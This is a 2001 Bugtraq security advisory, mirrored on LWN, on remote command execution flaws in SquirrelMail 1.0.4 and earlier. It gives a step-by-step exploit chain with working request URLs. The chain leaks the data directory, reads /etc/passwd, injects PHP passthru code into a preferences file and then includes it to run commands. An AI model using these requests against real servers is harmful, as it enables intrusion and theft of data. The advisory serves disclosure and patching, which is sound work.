[LWN Logo]
[LWN.net]
From:	 "Shaun Clowes" <shaman@optushome.com.au>
To:	 <bugtraq@securityfocus.com>
Subject: (SRADV00010) Remote command execution vulnerabilities in SquirrelMail
Date:	 Tue, 3 Jul 2001 00:41:53 +1000

=================================================
Secure Reality Pty Ltd. Security Advisory #10 (SRADV00010)
http://www.securereality.com.au
=================================================

[Title]
Remote command execution vulnerabilities in SquirrelMail

[Released]
2/7/2001

[Vulnerable]
Versions up to and including 1.0.4

[Overview]
SquirrelMail is an amazingly easy to use, good looking and functional web
mail system written in PHP.

In versions specified SquirrelMail makes insecure calls to the PHP function
include(). Installations of the versions specified are vulnerable to attacks
in which the attacker gains the ability to execute arbitrary commands (and
code) on the remote web server with the permissions of the web server user,
typically 'nobody'.

[Impact]
Remote command execution (with privileges as above)

[Detail]
Please note that this vulnerability was discussed in detail at the Black Hat
Briefings in Hong Kong and Singapore in Asia 2001. At some stage, Powerpoint
presentation notes and audio/video of the presentation will become available
at http://www.blackhat.com.

Note also that this description will be best understood (and is released in
conjunction with) our new paper "A Study In Scarlet - Exploiting Common
Vulnerabilities in PHP Applications" which can be downloaded from
http://www.securereality.com.au/archives.html

As with all the advisories released in conjunction with the paper above I'm
going to describe this problem in gross detail, from finding the hole to
exploiting it (sidestepping various annoying barriers along the way).

The problem is initially spotted with a trivial grep of the source. The
following line of code in load_prefs.php seems suspicious:

39       require("$chosen_theme");

The require() function tells PHP to read in the file specified in the
variable $chosen_theme and interpret it as though it were PHP code. If the
attacker can affect $chosen_theme (with form input) they may be able to
point this at sensitive local files (e.g /etc/passwd) and have them returned
or even worse, have their own PHP interpreted which allows them to run
arbitrary code.

Looking higher in the file we get a feel for what load_prefs.php is meant to
do:

8     **  Loads preferences from the $username.pref file used by almost
9     **  every other script in the source directory and alswhere.

Ok, so its a file that is typically include()d by other PHP scripts that
loads the users preferences (where user is determined by $username). This is
looking really good. This file is a library code file, its not ever meant to
be requested by a remote user, but it has the correct extension (.php) to be
parsed as PHP code so a remote attacker can request it. Scripts like this
are typically low hanging fruit since the fact that they're meant to be
included by other scripts often means they have a certain 'context' they're
meant to work in. Without this context they're often easy to exploit.

Looking from the top of the file at various housekeeping code:

14    if (!isset($config_php))
15       include("../config/config.php");
16    if (!isset($prefs_php))
17       include("../functions/prefs.php");
18    if (!isset($plugin_php))
19       include("../functions/plugin.php");
20
21    $load_prefs_php = true;
22    if (!isset($username))
23        $username = '';
24    checkForPrefs($data_dir, $username);

Ok, lines 14 to 19 are interesting. The code tries to determine if its
environment has been well established (that is, important code this page
relies upon has already been included). However, this is not a secure way to
determine if the environment has been well constructed, an attacker can
cause $config_php, $prefs_php or $plugin_php to be set by submitting them as
form variables and thereby cause the required code not to be included.

Having tried to construct a sane environment the code goes on to set a flag
indicating it has been included (later scripts check this variable before
trying to include it, in the same way that it checks for config.php etc). Th
e code then goes on to insure that $username is set to something (note that
no code to authenticate $username is evident yet). The script then calls
checkForPrefs with $data_dir (which is a configuration variable normally set
in config.php) and $username (the unauthenticated user the remote requestor
is claiming to be).

checkForPrefs() is a function defined in ../functions/prefs.php. The
following is the relevant code:

116    /** This checks if there is a pref file, if there isn't, it will
117        create it. **/
118    function checkForPrefs($data_dir, $username) {
119       $filename = "$data_dir$username.pref";
120       if (!file_exists($filename)) {
121          if (!copy("$data_dir" . "default_pref", $filename)) {
122             echo _("Error opening ") ."$filename";
123             exit;
124          }
125       }
126    }

Interesting. When Squirrelmail is first installed the user needs to
configure a data directory (that must be writable by Squirrelmail).
Squirrelmail stores attachments to be downloaded, address book details and
user preferences in subdirectories of this directory. This code takes the
unauthenticated username and checks if a preferences file exists for this
user, if it doesn't its created. This will come in very handy later on.

So back in load_prefs.php:

26    $chosen_theme = getPref($data_dir, $username, "chosen_theme");
27    $in_ary = false;
28    for ($i=0; $i < count($theme); $i++){
29           if ($theme[$i]["PATH"] == $chosen_theme) {
30                  $in_ary = true;
31                  break;
32           }
33    }
34    if (!$in_ary) {
35                 $chosen_theme = "";
36    }

This code reads the users preference of 'theme' (Squirrelmail has a
themeable user interface) into $chosen_theme. It then loops through the
$theme[] array and determines if $chosen_theme matches one of those themes.
If it doesn't its set to nothing.

The $theme array is an array of valid themes set in config.php:

46         $theme[0]["PATH"] = "../themes/default_theme.php";
47         $theme[0]["NAME"] = "Default";
48         $theme[1]["PATH"] = "../themes/plain_blue_theme.php";
49         $theme[1]["NAME"] = "Plain Blue";
50         $theme[2]["PATH"] = "../themes/sandstorm_theme.php";
51         $theme[2]["NAME"] = "Sand Storm";
52         $theme[3]["PATH"] = "../themes/deepocean_theme.php";
53         $theme[3]["NAME"] = "Deep Ocean";
54         $theme[4]["PATH"] = "../themes/slashdot_theme.php";

This makes it all look much harder, an attacker can have a preferences file
created (checkForPrefs() does that), but what then? They need to be able to
change their "chosen_theme" preference to effect the require() we noted at
the start of all this but if its not set to an element of the theme array
(of which none are interesting) it'll just be unset.

As it turns out it takes a rather convoluted path to modify the preferences
file chosen_theme without authenticating. It should be clear how you could
do so by the end of this advisory however. Anyway, there's much jucier lines
of attack if we look further into load_prefs.php.

38    if ((isset($chosen_theme)) && (file_exists($chosen_theme))) {
39       require("$chosen_theme");
40    } else {
41       if (file_exists($theme[0]["PATH"])) {
42          require($theme[0]["PATH"]);
43       } else {

Ignoring the chosen_theme we spot the $theme[0]['path'] code. This should
stick out like a sore thumb. Recall that the theme array comes from the
config.php file. This file is include()d at the beginning of load_prefs.php
but ONLY if $config_php is not configured. So the immediately obvious attack
is to set the following as form input:

username    = evilattacker
config_php     = true
theme[0][PATH] = /etc/passwd

Which presumably return the password file to the attackers web browser.
Unfortunately this attack is foiled and typically results in an error
message something like 'Fatal error: Call to undefined function: _() in
/home/html/squirrelmail-1.0.4/functions/prefs.php on line 122' is generated.
This is caused by the checkForPrefs() routine. It's checking if the user's
preference file exists (as we saw earlier) but because we caused config.php
not to be included when it constructs the filename of
'$data_dir$username.pref' it ends up with just '<username>.pref'. Since this
is a file in the root directory it will never be found so it tries to create
it and when this operation fails the script aborts.

The attacker now needs to provide the $data_dir variable themselves. It
should be hard for an attacker to guess the location but unfortunately one
of the scripts leaks this information. Looking at the script
options_display.php:

19    if (!isset($page_header_php))
20       include('../functions/page_header.php');

This is just one of the includes specified at the top of options_display.php
(which normally displays a users preferences). Its performed before any sort
of authentication.

In the file page_header.php (which fairly obviously normally provides a
standard header for all the pages):

21    // Check to see if gettext is installed
22    $headers_sent=set_up_language(getPref($data_dir, $username,
"language"));

The above lines of code try to setup the language of the user. The call the
following code from prefs.php:

13    function getPref($data_dir, $username, $string) {
14       $filename = "$data_dir$username.pref";
15       if (!file_exists($filename)) {
16          printf (_("Preference file %s not found. Exiting abnormally"),
$filename);
17          exit;
18       }

Looking at the above, before any authentication the page looks for
'$data_dir$username.pref', if that isn't found it nicely tells us the file
it was looking for but couldn't find. So, if an attacker requests the page
without any username specified at all they receive a message like
'Preference file /var/squirrelmail/data/.pref not found. Exiting
abnormally'. $data_dir is obviously the bit before '.pref'.

The above makes the attack specified earlier possible with the following
input:

username    = evilattacker
config_php     = true
theme[0][PATH] = /etc/passwd
data_dir       = <dir as found>

If an attacker makes a request like
http://<host>/squirrelmail-1.0.4/src/load_prefs.php?username=evilattacker&co
nfig_php=true&theme[0][PATH]=/etc/passwd&data_dir=/var/squirrelmail/data/
they get a copy of the remote machines /etc/passwd file delivered to their
web browser.

Presumably they're not going to be happy with just this level of access and
would like to further exploit the problem to gain remote command execution
privileges. This would normally be a relatively trivial exercise since the
attacker can pick any file they wish on the remote machine and have it
interpreted as PHP code. Note that we can't use a remote files attack here
because the code does a file_exists() on the file before including it and
file_exists() does not work with the PHP remote files functionality.

The attacker just needs to get code of their chosing into a file on the
remote machine. As discussed in 'A Study In Scarlet' there are many ways to
do this. My first attempt used file upload but it failed as there appear to
be some weird bugs in my version of PHP (4.0.4pl1) with uploading a file
into a field with a two dimensional array name, this may well have been
fixed since then. Anyway, trying to be general the attacker will look for an
alternate way to get code into a file on the remote machine.

I chose the most obvious avenue, the preferences file. Squirrelmail has been
kind enough to create this file for us, its been kind enough to tell us
which directory its in too so we know its absolute filename. The file looks
like the following:

full_name=
reply_to=
chosen_theme=../themes/plain_blue_theme.php
show_num=25
wrap_at=86
editor_size=76
left_refresh=None
language=en
location_of_bar=left
location_of_buttons=between
order1=1
order2=2
order3=3
order4=5
order5=4
order6=6

All we need to do is get PHP code into this file without being forced to
authenticate. This ability is provided by the options_order.php script.
options_order.php normally allows a user to specify the order in which key
fields of an email (Subject, From, To etc) they'd like displayed and in what
order they should be displayed. As can be seen above each field is
identified by a field number (order<fieldnumber>=<place in display>'.
However options_display doesn't go to any real effort to verify what a user
inputs:

83    } else if ($method == 'add' && $add) {
84       $index_order[count($index_order)+1] = $add;
85    }
86
87    if ($method) {
88       for ($i=1; $i <= count($index_order); $i++) {
89          setPref($data_dir, $username, "order$i", $index_order[$i]);
90       }
91    }

If the form input contains a 'method' variable set to 'add' the script
assumes the user has decided to include another field in the display. The
then adds the field to the end of the list of fields to be displayed by
placing its number (which it assumes is in $add) to the end of the
preferences list. The problem is that $add is a form variable that is
normally set via a drown down list in the preferences page to a valid field
number but if an attacker ignores the form and sets it themselves it can
easily be anything. Once the new field has been added all the fields are
saved in the preferences file.

An attacker can therefore specify something the following input and have PHP
code written to a known file:

username     = evilattacker
method       = add
add          = "<?php passthru("/bin/ls /etc");"

When the attacker makes the request like
http://host/squirrelmail-1.0.4/src/options_order.php?username=evilattacker&m
ethod=add&add=<?php%20passthru("/bin/ls%20/etc");%20?> the code is written
to '$data_dir$username.pref'.

Now the attacker can execute the same attack as specified above to retrieve
the password file to execute the code they just sent. The following request:

http://server/squirrelmail-1.0.4/src/load_prefs.php?username=heyheyhey&confi
g_php=true&theme[0][PATH]=/var/squirrelmail/data/evilattacker.pref&data_dir=
/var/squirrelmail/data/

would then result in a listing of the /etc directory being returned to the
attacker in their web browser. Obviously any command could be specified and
further exploit code could be uploaded and executed as described in 'A Study
In Scarlet'.

As always with PHP there are many caveats to the attacks details in this
advisory based on PHP configuration and version. I'm not going to go into
detail discussing those here. Suffice to say this is a bug and it is usually
exploitable.

[Fix]
Later versions of SquirrelMail correct this problem. Please download a
version above 1.0.5 from:
 http://www.squirrelmail.org

[Acknowledgements]
Our thanks to Luke Ehresman, Gustav Foseid and all the Squirrelmail
developers for their professional manner in confirming and fixing this
problem.

[Disclaimer]
Advice, directions and instructions on security vulnerabilities in this
advisory do not constitute: an endorsement of illegal behavior; a guarantee
that protection measures will work; an endorsement of any product or
solution or recommendations on behalf of Secure Reality Pty Ltd. Content is
provided as is and Secure Reality Pty Ltd does not accept responsibility for
any damage or injury caused as a result of its use.